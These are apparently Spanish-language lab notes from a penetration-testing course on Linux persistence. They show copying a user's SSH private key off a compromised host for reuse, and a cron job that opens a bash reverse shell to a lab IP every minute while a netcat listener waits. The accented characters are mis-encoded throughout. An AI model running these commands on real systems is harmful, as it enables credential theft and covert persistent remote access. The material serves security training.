Linux Persistence
Persistence Via SSH Keys
Linux se suele implementar como un sistema operativo de servidor y, como resultado, los servidores Linux suelen accederse de forma remota a trav茅s de servicios o protocolos como SSH.
Si SSH est谩 habilitado y en ejecuci贸n en un sistema Linux que ha comprometido, puede aprovechar la configuraci贸n de SSH para establecer un acceso persistente en el sistema de destino.
En la mayor铆a de los casos, los servidores Linux tendr谩n habilitada la autenticaci贸n basada en clave para el servicio SSH, lo que permite a los usuarios acceder al sistema Linux de forma remota sin necesidad de una contrase帽a.
Despu茅s de obtener acceso a un sistema Linux, podemos transferir la clave privada SSH de una cuenta de usuario espec铆fica a nuestro sistema y usar esa clave privada SSH para todas las autenticaciones y accesos futuros.
Demo: Persistence Via SSH Keys
ssh student@192.63.238.3
# Cuando inicie session tendra algunas carpetas
ls -al
# La que estamos buscando se suele llamar ".ssh"
# Ver informacion del archivo wait y vea para que sirve por que se utilizara mas
# adelante
cat wait
# Ingreasamos a la carpeta .ssh
cd .ssh/
# Dentro de la carpeta tenemos la clave privada "id_rsa"
# Cuando genere ssh keys, tambien tendra la clave publica "id_rsa.pub"
# Recordar para que sirve o que contiene el archivo "autorization"
# Descargamos el archivo que contiene la clave privada
scp student@192.63.238.3:~/.ssh/id_rsa .
# Considerar eliminar el archivo "wait"
# por que simula que el usuario student cambio de contrasena
# En kali (lugar donde transferio la clave privada)
chmod 400 id rsa
# La conexion lo hacemos por la llave privada
ssh -i id_rsa student@192.63.238.3
Quiz: Persistence Via SSH Keys

Persistence Via Cron Jobs
Linux implementa la programaci贸n de tareas a trav茅s de una utilidad llamada Cron. Cron es un servicio basado en el tiempo que ejecuta aplicaciones, scripts y otros comandos repetidamente seg煤n un cronograma espec铆fico.
Una aplicaci贸n o script que se ha configurado para ejecutarse repetidamente con Cron se conoce como un trabajo Cron.
Podemos usar trabajos cron para ejecutar un comando o script en un intervalo fijo para garantizar que tengamos acceso persistente al sistema de destino.
Anatomy Of A Cron Job

( * * * * * ) significa que el trabajo cron se ejecutar谩 cada minuto de cada hora de cada d铆a de cada mes y todos los d铆as de la semana.
Demo: Persistence Via Cron Jobs
cat /etc/cron*
# Ccreamos el job
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.166.95.2/1234 0>&1'" > cron
cat cron
# Agregar crontab de linux
crontab -i cron
crontab -l
# Atacante tiene que escuchar los intentos de conexion
nc -nvlp 1234
Quiz: Persistence Via Cron Jobs


Last updated